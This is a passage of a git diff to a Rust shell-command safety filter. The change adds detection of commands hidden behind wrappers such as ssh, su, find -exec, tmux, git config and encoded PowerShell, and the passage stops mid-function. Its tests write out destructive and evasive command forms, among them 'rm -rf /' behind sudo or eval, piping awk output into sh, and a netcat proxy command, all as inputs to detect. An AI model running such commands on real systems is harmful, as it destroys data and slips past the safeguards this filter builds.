if send { + let command: Vec<&str> = (i..len).map(|j| words.text(j)).collect(); + screen_command(&command, found); + } else if i < len { + found.code(words.raw(i, len)); + } +} + +/// A screen command sent with `-X`. +fn screen_command(command: &[&str], found: &mut Found) { + let Some((name, args)) = command.split_first() else { + return; + }; + match *name { + "stuff" => { + let text = args + .join(" ") + .replace("\\n", "\n") + .replace("\\r", "\n") + .replace("^M", "\n") + .replace("^J", "\n"); + found.code(text); + found.unsure(SENDS_KEYS); + } + "exec" => { + let args = match args.first() { + Some(first) if first.chars().all(|c| ".!:|".contains(c)) => &args[1..], + _ => args, + }; + found.code(args.join(" ")); + } + "screen" => found.code(format!("screen {}", args.join(" "))), + "eval" => { + for arg in args { + found.code(format!("screen -X {arg}")); + } + } + "source" | "bind" | "bindkey" | "register" | "paste" | "readreg" | "readbuf" => { + found.unsure(UNSURE_OPTIONS); + } + _ => {} + } +} diff --git a/crates/core/src/filter/command_runners/tests.rs b/crates/core/src/filter/command_runners/tests.rs new file mode 100644 index 000000000..669c46416 --- /dev/null +++ b/crates/core/src/filter/command_runners/tests.rs @@ -0,0 +1,257 @@ +use super::*; +use crate::filter::wrapper_options::passthrough_option_table; + +fn codes(form: &str) -> Vec { + runner_commands(&[form.to_string()]).codes +} + +fn unsure(form: &str) -> Vec<&'static str> { + runner_commands(&[form.to_string()]).unsure +} + +#[test] +fn shell_string_runners_join_their_arguments() { + assert_eq!(codes("watch -n 1 'ls -l' /tmp"), ["ls -l /tmp"]); + assert_eq!(codes("watch --interval=2 -d df -h"), ["df -h"]); + assert_eq!(codes("ssh -p 22 host -l me uptime"), ["uptime"]); + assert_eq!(codes("ssh -oProxyCommand='nc %h %p' host"), ["nc %h %p"]); + assert_eq!(codes("su - root -c 'id; ls'"), ["id; ls"]); + assert_eq!(codes("su -lc id"), ["id"]); + assert_eq!(codes("sg wheel -c 'id'"), ["id"]); + assert_eq!(codes("pdsh -w h1,h2 uptime"), ["uptime"]); + assert_eq!(codes("mosh --ssh='ssh -p 2' h -- top"), ["ssh -p 2", "top"]); +} + +#[test] +fn direct_runners_keep_the_words_as_written() { + assert_eq!(codes("screen -dmS x sh -c 'id'"), ["sh -c 'id'"]); + assert_eq!(codes("docker exec -it -u 0 web sh -c 'id'"), ["sh -c 'id'"]); + assert_eq!(codes("docker run --entrypoint sh img -c id"), ["sh -c id"]); + assert_eq!(codes("kubectl -n x exec p -c y -- ls '-l'"), ["ls '-l'"]); + assert_eq!(codes("machinectl shell root@box /bin/ls"), ["/bin/ls"]); +} + +#[test] +fn find_runs_its_exec_commands_with_the_starting_points() { + assert_eq!(codes("find /srv -exec rm {} +"), ["rm /srv"]); + assert_eq!( + codes("find a b -name x -exec ls {} \\; -ok cat {} \\;"), + ["ls a b", "cat a b"] + ); + assert_eq!(codes("find -delete"), ["rm -r ."]); + assert!(codes("find . -name '*.c' -print").is_empty()); +} + +#[test] +fn find_does_not_grow_braces_without_bound() { + assert_eq!(with_paths("rm {}", "{}{}"), "rm {}"); + let many = "{} ".repeat(5000); + assert_eq!(with_paths(&many, &"/x".repeat(5000)), many); + assert_eq!(with_paths("rm {} {}", "/a"), "rm /a /a"); +} + +#[test] +fn parallel_fills_in_its_arguments() { + assert_eq!(codes("parallel ::: 'ls -l' id"), ["ls -l", "id"]); + assert_eq!(codes("parallel -j2 gzip {} ::: a b"), ["gzip a", "gzip b"]); + assert_eq!(codes("parallel echo ::: a"), ["echo a"]); + assert_eq!(codes("parallel -I XX XX -l ::: ls"), ["ls -l"]); + assert_eq!(codes("parallel {} ::: ls 'rm x'"), ["ls", "rm x"]); + assert_eq!( + codes("parallel sh -c ::: id 'rm x'"), + ["sh -c id", "sh -c 'rm x'"] + ); + assert_eq!(codes("parallel '{};{}' ::: id"), ["id;id"]); + assert_eq!( + codes("parallel ssh h ::: id 'rm x'"), + ["ssh h id", "ssh h 'rm x'"] + ); + assert_eq!(codes("parallel --arg-sep ,, echo ,, a"), ["echo a"]); + assert_eq!( + codes("parallel ::: rm ::: -r ::: x"), + ["rm", "-r", "x", "rm -r x"] + ); + assert_eq!(unsure("parallel ::: rm ::: -r"), [UNSURE_OPTIONS]); + assert_eq!(unsure("parallel"), [READS_STDIN]); + assert_eq!(unsure("parallel echo {= $_ =} ::: a"), [UNSURE_OPTIONS]); +} + +#[test] +fn tmux_and_screen_commands() { + assert_eq!(codes("tmux -L s new -d -s n 'top'"), ["top"]); + assert_eq!(codes("tmux new-s -d top ; neww htop"), ["top", "htop"]); + assert_eq!(codes("tmux new -d top\\; neww htop"), ["top", "htop"]); + assert_eq!(codes("tmux spl 'top'"), ["top"]); + assert_eq!(codes("tmux ru 'top'"), ["top"]); + assert_eq!(unsure("tmux new- top"), [UNSURE_OPTIONS]); + assert_eq!(codes("tmux set -g default-command top"), ["top"]); + assert_eq!(codes("tmux send -t 0 'ls' Enter"), ["ls \n"]); + assert_eq!(unsure("tmux send -t 0 ls"), [SENDS_KEYS]); + assert!(codes("tmux set -g mouse on").is_empty()); + assert!(unsure("tmux set -g mouse on").is_empty()); + assert!(unsure("tmux display -p x").is_empty()); + assert_eq!(codes("screen -X stuff 'id^M'"), ["id\n"]); + assert_eq!(codes("screen -X -S x stuff 'id^M'"), ["id\n"]); + assert_eq!(codes("screen -XS x -p 0 exec id"), ["id"]); + assert_eq!(codes("screen -dm -s top"), ["top"]); + assert_eq!(codes("screen -x s -X stuff 'id^M'"), ["id\n"]); + assert_eq!(codes("tmux set -g default-comm top"), ["top"]); + assert_eq!(unsure("tmux set -g default- top"), [UNSURE_OPTIONS]); + assert_eq!( + codes("tmux set -g status-right '#(uptime) #(date)'"), + ["uptime", "date"] + ); + assert_eq!( + codes("tmux command-prompt -p x 'run-shell id'"), + ["tmux run-shell id"] + ); + assert!(codes("screen -ls").is_empty()); + assert!(codes("screen -X -S x quit").is_empty()); +} + +#[test] +fn cmd_and_powershell() { + assert_eq!(codes("cmd /S /C \"dir & ver\""), ["dir & ver"]); + assert_eq!(codes("CMD.EXE /cdir"), ["dir"]); + assert_eq!(codes("pwsh -NoProfile -c Get-Date"), ["Get-Date"]); + assert_eq!(unsure("pwsh -NoProfile -c Get-Date"), [FOREIGN_SYNTAX]); + assert_eq!( + codes("powershell -ExecutionPolicy Bypass -File x.ps1"), + Vec::::new() + ); + // "id" as UTF-16LE. + assert_eq!(codes("powershell -enc aQBkAA=="), ["id"]); + assert_eq!(unsure("powershell -enc aQBkAA=="), [ENCODED]); + assert_eq!(unsure("echo"), Vec::<&str>::new()); +} + +#[test] +fn unknown_options_and_stdin_readers_are_unsure() { + assert_eq!(unsure("watch -Z ls"), [UNSURE_OPTIONS]); + assert_eq!(unsure("ssh host"), [READS_STDIN]); + assert!(unsure("ssh -N -L 1:h:2 host").is_empty()); + assert_eq!(unsure("su -"), [READS_STDIN]); + assert_eq!(unsure("at now"), [READS_STDIN]); + assert!(unsure("at -l").is_empty()); + assert_eq!(unsure("sudo -s"), [READS_STDIN]); + assert_eq!(unsure("nsenter -s"), [READS_STDIN]); + assert_eq!(unsure("machinectl shell box"), [READS_STDIN]); + assert_eq!(unsure("docker run -i alpine"), [READS_STDIN]); + assert_eq!(unsure("kubectl run -i --image=alpine x"), [READS_STDIN]); + assert!(unsure("docker run -d nginx").is_empty()); + assert_eq!(unsure("docker run -i --tty=false alpine"), [READS_STDIN]); + assert_eq!(unsure("docker start -ai c"), [READS_STDIN]); + assert_eq!(unsure("docker attach c"), [READS_STDIN]); + assert!(unsure("docker start c").is_empty()); + assert_eq!(unsure("script -q /dev/null"), [READS_STDIN]); + assert_eq!(codes("podman exec -l id"), ["id"]); + assert_eq!(codes("podman exec --latest id"), ["id"]); + assert_eq!(codes("runuser bob -- -c 'id'"), ["id"]); +} + +#[test] +fn git_settings_that_run_commands() { + assert_eq!(codes("git -c alias.x='!id' x"), ["id"]); + assert_eq!(codes("git -c core.sshCommand='ssh -v' fetch"), ["ssh -v"]); + assert!(codes("git -c user.name=x commit -c HEAD").is_empty()); + assert_eq!(codes("git --attr-source HEAD -c alias.x='!id' x"), ["id"]); + assert_eq!(codes("git -c pager.log='less -R' log"), ["less -R"]); + assert_eq!(codes("git -c filter.a.smudge=id checkout"), ["id"]); + assert_eq!(codes("git ls-remote --upload-pack='id;' ."), ["id;"]); + assert_eq!(codes("git rebase -x 'make test' main"), ["make test"]); + assert_eq!(codes("git rebase -ix 'make test' main"), ["make test"]); + assert_eq!(codes("git rebase --exe 'make test' main"), ["make test"]); + assert_eq!(codes("git fetch --upload-pa=x r"), ["x"]); + assert_eq!( + codes("git submodule --quiet foreach 'git pull'"), + ["git pull"] + ); + assert_eq!( + codes("sudo GIT_SSH_COMMAND='ssh -v' timeout 5 git fetch"), + ["ssh -v"] + ); + assert_eq!(codes("git submodule foreach 'git pull'"), ["git pull"]); + assert_eq!(codes("GIT_SSH_COMMAND='ssh -v' git fetch"), ["ssh -v"]); + assert_eq!( + unsure("git -c protocol.ext.allow=always fetch"), + [UNSURE_OPTIONS] + ); + assert!(codes("git rebase -i main").is_empty()); + assert_eq!(unsure("git clone --templ=/t x"), [UNSURE_OPTIONS]); + assert_eq!(unsure("git -c init.templateDir=/t init"), [UNSURE_OPTIONS]); + assert!(unsure("git clone --depth 1 x").is_empty()); +} + +#[test] +fn commands_in_other_languages() { + assert_eq!( + languages::embedded_commands("subprocess.run(['ls', '-l'])"), + ["ls -l"] + ); + assert_eq!(languages::embedded_commands("x = `id`"), ["id"]); + assert_eq!(codes("awk 'BEGIN{system(\"id\")}'"), ["id"]); + assert!(codes("awk '/a|b/ {print}'").is_empty()); + assert!(unsure("awk '/a|b/ {print}'").is_empty()); + assert!(unsure("awk '{ print $1 / 2, \"a|b\" }'").is_empty()); + assert!(!unsure("awk 'BEGIN { c = \"id\"; c | getline }'").is_empty()); + assert!(!unsure("gawk 'BEGIN { f = \"x\"; @f() }'").is_empty()); + assert!(!unsure("awk '{ print $1 / 2 | \"sh\"; y = 1 / 2 }'").is_empty()); + assert!(!unsure("awk 'BEGIN { a = 1./2; print \"x\" | \"sh\"; b = 1./2 }'").is_empty()); + assert!(!unsure("awk '{ x++/2; print | \"sh\"; x++/2 }'").is_empty()); + assert!(unsure("awk '$1 ~ /a|b/ { n++ } END { print n }'").is_empty()); + assert!(unsure("awk '{ s += $2 / 1024 } END { print s / NR, $1/n, (s)/2 }'").is_empty()); + for hidden in [ + "y = /\"/", + "y = $/\"/", + "y = 1 + /\"/", + "y = 1 ? /\"/ : 0", + "if (1) /\"/", + ] { + let program = format!("awk 'BEGIN {{ {hidden}; print \"x\" | \"sh\"; {hidden} }}'"); + assert!(!unsure(&program).is_empty(), "{program}"); + } +} + +#[test] +fn a_command_another_reading_reaches_is_evaluated_once() { + let forms = [ + "watch watch watch id".to_string(), + "watch watch id".to_string(), + ]; + assert_eq!(runner_commands(&forms).codes, ["watch watch id"]); + let forms = ["watch 'id $(x)'".to_string(), "watch 'id '".to_string()]; + assert_eq!(runner_commands(&forms).codes, ["id $(x)"]); +} + +#[test] +fn wrapper_code_options_and_login_shells() { + assert!(wrapper_code_option("runuser", "-lc")); + assert!(wrapper_code_option("flock", "--command=id")); + assert!(!wrapper_code_option("flock", "-w")); + assert!(!wrapper_code_option("env", "-c")); + assert!(starts_shell("sudo", "-i")); + assert!(starts_shell("sudo", "-Es")); + assert!(!starts_shell("sudo", "-us")); + assert!(starts_shell("sudo", "--login")); + assert!(starts_shell("doas", "-s")); + assert!(starts_shell("sudo", "--lo")); + assert!(starts_shell("sudo", "--sh")); + assert!(!starts_shell("sudo", "--li")); + assert!(starts_shell("systemd-run", "-S")); + assert!(!starts_shell("systemd-run", "-p")); + assert!(runuser_names_user("-u")); + assert!(runuser_names_user("--user=x")); + assert!(!runuser_names_user("-l")); +} + +#[test] +fn option_tables_read_like_getopt_long() { + let table = passthrough_option_table("systemd-run").expect("table"); + assert_eq!(classify_option(table, "-tp"), OptionWord::TakesNext); + assert_eq!(classify_option(table, "-pNice=5"), OptionWord::Complete); + assert_eq!(classify_option(table, "--prop"), OptionWord::TakesNext); + assert_eq!(classify_option(table, "--property=x"), OptionWord::Complete); + assert_eq!(classify_option(table, "--on"), OptionWord::Unknown); + assert_eq!(classify_option(table, "-Z"), OptionWord::Unknown); + assert_eq!(classify_option(table, "--"), OptionWord::EndOfOptions); +} diff --git a/crates/core/src/filter/engine.rs b/crates/core/src/filter/engine.rs index c2b20f9b0..8879ccebc 100644 --- a/crates/core/src/filter/engine.rs +++ b/crates/core/src/filter/engine.rs @@ -6,18 +6,23 @@ use async_trait::async_trait; use crate::ai::{default_log_redactor, OutputRedactor}; use super::blacklist; +use super::command_runners; use super::parser::{self, ParseResult}; use super::policy_rules::PolicyRules; +use super::prefix_words::{self, normalize_blanks}; use super::types::{ Decision, EffectiveScope, EvalContext, EvaluationTrace, Rule, RuleAction, RuleId, RuleOrigin, Scope, TraceKind, }; -/// Ab dieser Länge in **Bytes** (UTF-8) wird ein Kommando ungeprüft auf -/// `Confirm` gesetzt, statt es vollständig zu parsen (Spec 0002, Abschnitt +mod fragments; + +/// Ab dieser Länge in **Bytes** (UTF-8) wird ein Kommando nicht mehr +/// geparst, sondern auf `Confirm` gesetzt; nur Deny-Regeln und die +/// Hard-Blacklist sehen noch seine naiven Teilstücke (Spec 0002, Abschnitt /// 4.7 und Abschnitt 6, Testfall 11). Über /// [`FilterEngine::with_max_command_length`] konfigurierbar. -pub const DEFAULT_MAX_COMMAND_LENGTH: usize = 4096; +pub const DEFAULT_MAX_COMMAND_LENGTH: usize = 16384; /// `true`, wenn `command` das Längenlimit `limit` überschreitet. /// @@ -327,28 +332,6 @@ impl FilterEngine { checks: Vec::new(), }; } - if exceeds_command_length_limit(command, self.max_command_length) { - // Testfall 11: bewusst VOR jedem Parsing/Blacklist-Scan geprüft, - // damit extrem lange Payloads gar nicht erst vollständig - // analysiert werden müssen. - return EvaluationTrace { - decision: Decision::Confirm { - reason: format!( - "Kommando überschreitet Längenlimit von {} Bytes", - self.max_command_length - ), - code: FILTER_COMMAND_TOO_LONG.to_string(), - }, - matched_rule: None, - matched_rule_origin: None, - matched_hard_blacklist_entry: None, - sub_command_traces: Vec::new(), - kind: TraceKind::Segment, - segment_index: None, - checks: Vec::new(), - }; - } - let scope = EffectiveScope::from(ctx); let policy = self.store.rules_for(&scope).await; let rules_unavailable = policy.unavailable; @@ -365,6 +348,13 @@ impl FilterEngine { // candidates) decide while the rule set is incomplete. rules.retain(|r| r.action != RuleAction::Allow); } + if exceeds_command_length_limit(command, self.max_command_length) { + // Testfall 11: bewusst VOR jedem Parsing geprüft, damit extrem + // lange Payloads gar nicht erst vollständig analysiert werden + // müssen. Deny-Regeln und Hard-Blacklist sehen trotzdem die + // Teilstücke, s. `fragments::evaluate_overlong_explained`. + return self.evaluate_overlong_explained(command, &rules); + } let mut trace = self.evaluate_parsed_explained(command, &rules, 0); if rules_unavailable { // `combine` never lowers: a Deny (rules or hard blacklist) wins. @@ -467,73 +457,7 @@ impl FilterEngine { checks: Vec::new(), }, ParseResult::Ambiguous { reason } => { - let baseline = Decision::Confirm { - reason, - code: FILTER_PARSE_AMBIGUOUS.to_string(), - }; - // Unabhängiger Review-Pass (Spec 0002, Abschnitt 4.6, letzter - // Satz): ein Nutzer-`Deny`/die Hard-Blacklist muss auch - // greifen, wenn das eigentliche Kommando hinter einem - // `bash -c "..."`/`python3 -c "..."`-Wrapper steckt, statt - // dass der ganze Aufruf blind bei `Confirm` landet und die - // Deny-Regel dadurch faktisch umgangen wird. Rekursion wie - // bei Command-Substitution (`sub_command_traces` unten) — - // kombiniert wird nur zum jeweils strengeren Ergebnis, der - // Ambiguous-Baseline von mindestens `Confirm` wird also nie - // unterschritten, nur ggf. auf `Deny` verschärft. - // - // Issue #53 (ADR 0128): the same for the code a shell reads - // from a here-string (`bash <<< "..."`). The recursion - // counts towards the depth cap like the `-c` path. - let inner_traces: Vec = - parser::extract_shell_c_style_codes(command) - .into_iter() - .chain( - parser::extract_here_string_codes(command) - .into_iter() - .filter(|code| !code.trim().is_empty()), - ) - .map(|code| { - as_kind( - self.evaluate_parsed_explained(&code, rules, depth + 1), - TraceKind::EmbeddedCode, - ) - }) - .collect(); - let decision = inner_traces - .iter() - .map(|trace| trace.decision.clone()) - .fold(baseline.clone(), combine); - // The trace that decided the outcome supplies the matched - // rule (the first one with the strictest decision). - let deciding = inner_traces - .iter() - .find(|trace| trace.decision == decision) - .or(inner_traces.first()); - match deciding { - Some(inner_trace) => EvaluationTrace { - decision, - matched_rule: inner_trace.matched_rule.clone(), - matched_rule_origin: inner_trace.matched_rule_origin, - matched_hard_blacklist_entry: inner_trace - .matched_hard_blacklist_entry - .clone(), - sub_command_traces: inner_traces.to_vec(), - kind: TraceKind::Segment, - segment_index: None, - checks: vec![FILTER_PARSE_AMBIGUOUS.to_string()], - }, - None => EvaluationTrace { - decision: baseline, - matched_rule: None, - matched_rule_origin: None, - matched_hard_blacklist_entry: None, - sub_command_traces: Vec::new(), - kind: TraceKind::Segment, - segment_index: None, - checks: vec![FILTER_PARSE_AMBIGUOUS.to_string()], - }, - } + self.evaluate_ambiguous_explained(command, reason, rules, depth) } ParseResult::Segments(segments) if segments.len() == 1 => { let mut trace = self.evaluate_segment_explained(&segments[0], rules, depth); @@ -585,9 +509,9 @@ impl FilterEngine { // Elevated-Wissen stattdessen ins Matching einfließt. let (_elevated, stripped) = parser::detect_elevation(&normalized); - let (original_literal, inner_contents) = parser::strip_substitutions(raw_segment); + let (raw_literal, inner_contents) = parser::strip_substitutions(raw_segment); let (stripped_literal, _) = parser::strip_substitutions(&stripped); - let original_literal = parser::normalize_whitespace(&original_literal); + let original_literal = parser::normalize_whitespace(&raw_literal); let stripped_literal = parser::normalize_whitespace(&stripped_literal); // Zusätzlich zum Original- und Sudo-befreiten Text (Dual-Text- @@ -599,10 +523,10 @@ impl FilterEngine { // `sudo -u root rm -rf /` oder `"rm" -rf /` die Blacklist komplett, // obwohl Abschnitt 3.1 sie ausdrücklich "unabhängig von // Nutzerregeln" verlangt (unabhängiger Review-Pass, Spec 0002). - let resolved_literal = parser::resolve_effective_command(&original_literal); + let resolved_forms = parser::resolved_segment_forms(&original_literal, raw_segment); let matched_hard_blacklist_entry = blacklist::matching_entry(&original_literal) .or_else(|| blacklist::matching_entry(&stripped_literal)) - .or_else(|| blacklist::matching_entry(&resolved_literal)); + .or_else(|| blacklist::first_matching_entry(&resolved_forms)); let blacklist_decision = if matched_hard_blacklist_entry.is_some() { Decision::Confirm { reason: "Hard-Blacklist: potenziell gefährliches Kommando".to_string(), @@ -627,12 +551,8 @@ impl FilterEngine { Decision::AutoExec }; - let (rule_decision, matched_rule, matched_rule_origin) = evaluate_rules_explained( - rules, - &original_literal, - &stripped_literal, - &resolved_literal, - ); + let (rule_decision, matched_rule, matched_rule_origin) = + evaluate_rules_explained(rules, &original_literal, &stripped_literal, &resolved_forms); let mut sub_command_traces: Vec = inner_contents .into_iter() @@ -653,12 +573,18 @@ impl FilterEngine { // only adds a `Confirm` floor (or a stricter inner result) via // `combine`; none of them can lower the decision. let mut opaque_reasons: Vec<&'static str> = Vec::new(); - let mut eval_trace: Option = None; + let mut eval_traces: Vec = Vec::new(); if let Some(reason) = parser::opaque_command_word_reason(&original_literal) { opaque_reasons.push(reason); } + if parser::prefix_option_expands(raw_segment) { + opaque_reasons.push( + "Option von sudo/doas oder einem Wrapper enthält eine Expansion; \ + welches Kommando folgt, hängt von ihrem Wert ab", + ); + } let mut code_traces: Vec = Vec::new(); - match parser::program_source(&original_literal) { + match parser::program_source_in_forms(&original_literal, &resolved_forms) { Some(parser::ProgramSource::Stdin) => opaque_reasons.push( "Shell/Interpreter liest sein Programm von der Standardeingabe \ (z. B. `... | sh`), der Inhalt ist nicht prüfbar", @@ -687,25 +613,82 @@ impl FilterEngine { } Some(parser::ProgramSource::Operand) | None => {} } - if let Some(code) = parser::eval_code(&original_literal) { + // `watch …`, `su -c …`, `find -exec …`, `ssh host …` and the like: + // the command line they run is evaluated as a command of its own, + // see `command_runners::covered_by_call` for its rule decision. The + // literal keeps assignments in front (`GIT_SSH_COMMAND=… git`). + let runner_forms = [std::slice::from_ref(&original_literal), &resolved_forms].concat(); + let runner = command_runners::runner_commands(&runner_forms); + opaque_reasons.extend(runner.unsure); + let runner_traces: Vec = runner + .codes + .iter() + .map(|code| { + as_kind( + self.evaluate_parsed_explained(code, rules, depth + 1), + TraceKind::EmbeddedCode, + ) + }) + .collect(); + // Issue #1208: `eval`/`trap`/`alias` code and the commands of a group + // are read from the segment with its substitutions, so an option + // value that is one (`eval 'sudo -p $(x) rm -rf /'`) does not let the + // option take the command as its value. Evaluating that code also + // reads it without the substitutions, so `eval` and groups need only + // that text: evaluating both again at every level of nested groups + // takes quadratic time. A `trap` handler moves by a word when a + // substitution before it is empty (`trap $(true) 'reboot' EXIT`), so + // `trap`/`alias` code is read from both texts. + let raw_text = normalize_blanks(raw_segment); + let mut texts = vec![raw_text.as_str()]; + if raw_text != original_literal { + texts.push(&original_literal); + } + let mut codes = parser::eval_codes(&raw_text); + if codes.is_empty() { + codes = parser::eval_codes(&original_literal); + } + let is_eval = !codes.is_empty(); + codes.retain(|code| !code.trim().is_empty()); + if is_eval { opaque_reasons.push("`eval` führt seine Argumente als Shell-Code aus"); // Like `bash -c "..."`: the code `eval` runs is evaluated as a // command of its own, so a `Deny` rule or the hard blacklist // still bites behind it. - if !code.trim().is_empty() { - eval_trace = Some(as_kind( + eval_traces.extend(codes.drain(..).map(|code| { + as_kind( self.evaluate_parsed_explained(&code, rules, depth + 1), TraceKind::EmbeddedCode, - )); - } + ) + })); + } + // The commands of a subshell or group the segment starts with + // (`(docker rm -f prod)`, `{ docker rm -f prod`) are evaluated like + // the code of `eval`; the compound syntax already asks for + // `Confirm`. + if let Some(body) = prefix_words::group_body(&raw_text).or_else(|| group_body(&raw_literal)) + { + code_traces.push(as_kind( + self.evaluate_parsed_explained(body, rules, depth + 1), + TraceKind::EmbeddedCode, + )); } // Issue #55: `trap` handlers and `alias` values are code that runs // later, outside this evaluation (on a signal / at shell exit, or // when a later command starts with the alias name). Floor at // `Confirm`; where the code could be extracted, evaluate it like // `eval`, so a `Deny` rule or the hard blacklist behind it applies. - if let Some(deferred) = parser::deferred_code(&original_literal) { - opaque_reasons.push(match deferred.kind { + let mut deferred_kind = None; + for deferred in texts.iter().filter_map(|text| parser::deferred_code(text)) { + deferred_kind = Some(deferred.kind); + for code in deferred.codes { + if !code.trim().is_empty() && !codes.contains(&code) { + codes.push(code); + } + } + } + if let Some(kind) = deferred_kind { + opaque_reasons.push(match kind { parser::DeferredCodeKind::Trap => { "`trap` hinterlegt Shell-Code, der später ausgeführt wird \ (bei einem Signal oder beim Beenden der Shell)" @@ -715,18 +698,12 @@ impl FilterEngine { des Alias-Namens ausgeführt wird" } }); - code_traces.extend( - deferred - .codes - .iter() - .filter(|code| !code.trim().is_empty()) - .map(|code| { - as_kind( - self.evaluate_parsed_explained(code, rules, depth + 1), - TraceKind::EmbeddedCode, - ) - }), - ); + code_traces.extend(codes.iter().map(|code| { + as_kind( + self.evaluate_parsed_explained(code, rules, depth + 1), + TraceKind::EmbeddedCode, + ) + })); } // Reporting only (Spec 0002, §4.8): which rule-independent checks // forced at least Confirm. Computed from the same facts as the @@ -751,8 +728,9 @@ impl FilterEngine { reason: reason.to_string(), code: FILTER_PARSE_AMBIGUOUS.to_string(), }) - .chain(eval_trace.iter().map(|trace| trace.decision.clone())) + .chain(eval_traces.iter().map(|trace| trace.decision.clone())) .chain(code_traces.iter().map(|trace| trace.decision.clone())) + .chain(runner_traces.iter().map(command_runners::covered_by_call)) .fold(Decision::AutoExec, combine); let substitution_decision = if sub_command_traces.is_empty() { Decision::AutoExec @@ -780,8 +758,9 @@ impl FilterEngine { ), opaque_decision, ); - sub_command_traces.extend(eval_trace); + sub_command_traces.extend(eval_traces); sub_command_traces.extend(code_traces); + sub_command_traces.extend(runner_traces); EvaluationTrace { decision, @@ -796,6 +775,23 @@ impl FilterEngine { } } +/// The command list of the subshell (`( ... )`) or group (`{ ...`, the +/// closing `}` is a segment of its own) that `literal` starts with: up to +/// the last closing bracket, or to the end without one. `None` for any +/// other segment or an empty list. +fn group_body(literal: &str) -> Option<&str> { + let literal = literal.trim(); + let body = if let Some(rest) = literal.strip_prefix('(') { + &rest[..rest.rfind(')').unwrap_or(rest.len())] + } else { + let rest = literal + .strip_prefix('{') + .filter(|rest| rest.starts_with(char::is_whitespace))?; + &rest[..rest.rfind('}').unwrap_or(rest.len())] + }; + Some(body).filter(|body| !body.trim().is_empty()) +} + /// Re-labels a nested trace (substitution / embedded code); such traces /// carry no segment index. fn as_kind(mut trace: EvaluationTrace, kind: TraceKind) -> EvaluationTrace { @@ -928,7 +924,7 @@ fn evaluate_rules_explained( rules: &[Rule], original: &str, stripped: &str, - resolved: &str, + resolved: &[String], ) -> (Decision, Option, Option) { for action in [RuleAction::Deny, RuleAction::Confirm, RuleAction::Allow] { let mut bucket: Vec<&Rule> = rules.iter().filter(|r| r.action == action).collect(); @@ -960,9 +956,9 @@ fn evaluate_rules_explained( let is_match = rule.pattern.matches_for_user_rule(original, &action) || (original != stripped && rule.pattern.matches_for_user_rule(stripped, &action)) || (resolved_applies - && original != resolved - && stripped != resolved - && rule.pattern.matches_for_user_rule(resolved, &action)); + && resolved + .iter() + .any(|r| rule.pattern.matches_for_user_rule(r, &action))); if is_match { let decision = match action { RuleAction::Deny => Decision::Deny { @@ -1072,7 +1068,7 @@ pub(super) const FILTER_COMMAND_SUBSTITUTION: &str = "FILTER_COMMAND_SUBSTITUTIO const FILTER_SUBSTITUTION_TOO_DEEP: &str = "FILTER_SUBSTITUTION_TOO_DEEP"; const FILTER_RULE_DENY: &str = "FILTER_RULE_DENY"; const FILTER_RULE_CONFIRM: &str = "FILTER_RULE_CONFIRM"; -const FILTER_NO_RULE_MATCHED: &str = "FILTER_NO_RULE_MATCHED"; +pub(super) const FILTER_NO_RULE_MATCHED: &str = "FILTER_NO_RULE_MATCHED"; pub(super) const FILTER_RULES_UNAVAILABLE: &str = "FILTER_RULES_UNAVAILABLE"; /// Rangfolge für `merge_codes` — je kleiner, desto vorrangiger. Orientiert @@ -1395,7 +1391,7 @@ mod mutant_pin_tests { let global = scoped_rule("global", Scope::Global, 100); let pick = |rules: &[Rule]| { - evaluate_rules_explained(rules, "ls", "ls", "ls") + evaluate_rules_explained(rules, "ls", "ls", &["ls".into()]) .1 .expect("a rule must match") .0 @@ -1439,13 +1435,15 @@ mod mutant_pin_tests { priority: 0, origin: RuleOrigin::User, }]; - let (decision, matched, _) = evaluate_rules_explained(&rules, "sudo ls", "ls", "ls"); + let (decision, matched, _) = + evaluate_rules_explained(&rules, "sudo ls", "ls", &["ls".into()]); assert!( matches!(decision, Decision::Confirm { ref code, .. } if code == FILTER_NO_RULE_MATCHED) ); assert_eq!(matched, None); // Counter-check: it does fire when the stripped text matches. - let (decision, matched, _) = evaluate_rules_explained(&rules, "sudo rm x", "rm x", "rm x"); + let (decision, matched, _) = + evaluate_rules_explained(&rules, "sudo rm x", "rm x", &["rm x".into()]); assert!(matches!(decision, Decision::Deny { .. })); assert_eq!(matched, Some(RuleId("deny-rm".to_string()))); } diff --git a/crates/core/src/filter/engine/fragments.rs b/crates/core/src/filter/engine/fragments.rs new file mode 100644 index 000000000..dbfc67e80 --- /dev/null +++ b/crates/core/src/filter/engine/fragments.rs @@ -0,0 +1,248 @@ +//! Deny rules and the hard blacklist for text the parser does not split +//! (ambiguous, Spec 0002 §4.4) or does not read at all (over the length +//! limit, §4.7). Both cases start at `Confirm`; the naive fragments of the +//! text (split at `;`, `&`, `|` and newlines, quotes not honoured) can only +//! make the result stricter. + +use super::super::naive_split; +use super::*; + +impl FilterEngine { + /// Evaluates text that [`parser::split_command`] rates as ambiguous. + pub(super) fn evaluate_ambiguous_explained( + &self, + command: &str, + reason: String, + rules: &[Rule], + depth: usize, + ) -> EvaluationTrace { + let baseline = Decision::Confirm { + reason, + code: FILTER_PARSE_AMBIGUOUS.to_string(), + }; + // Unabhängiger Review-Pass (Spec 0002, Abschnitt 4.6, letzter + // Satz): ein Nutzer-`Deny`/die Hard-Blacklist muss auch + // greifen, wenn das eigentliche Kommando hinter einem + // `bash -c "..."`/`python3 -c "..."`-Wrapper steckt, statt + // dass der ganze Aufruf blind bei `Confirm` landet und die + // Deny-Regel dadurch faktisch umgangen wird. Rekursion wie + // bei Command-Substitution (`sub_command_traces` unten) — + // kombiniert wird nur zum jeweils strengeren Ergebnis, der + // Ambiguous-Baseline von mindestens `Confirm` wird also nie + // unterschritten, nur ggf. auf `Deny` verschärft. + // + // Issue #53 (ADR 0128): the same for the code a shell reads + // from a here-string (`bash <<< "..."`). The recursion + // counts towards the depth cap like the `-c` path. + let codes: Vec = parser::extract_shell_c_style_codes(command) + .into_iter() + .chain( + parser::extract_here_string_codes(command) + .into_iter() + .filter(|code| !code.trim().is_empty()), + ) + .collect(); + let inner_traces: Vec = codes + .iter() + .map(|code| { + as_kind( + self.evaluate_parsed_explained(code, rules, depth + 1), + TraceKind::EmbeddedCode, + ) + }) + .collect(); + let decision = inner_traces + .iter() + .map(|trace| trace.decision.clone()) + .fold(baseline.clone(), combine); + // The trace that decided the outcome supplies the matched + // rule (the first one with the strictest decision). + let deciding = inner_traces + .iter() + .find(|trace| trace.decision == decision) + .or(inner_traces.first()); + let trace = match deciding { + Some(inner_trace) => EvaluationTrace { + decision, + matched_rule: inner_trace.matched_rule.clone(), + matched_rule_origin: inner_trace.matched_rule_origin, + matched_hard_blacklist_entry: inner_trace.matched_hard_blacklist_entry.clone(), + 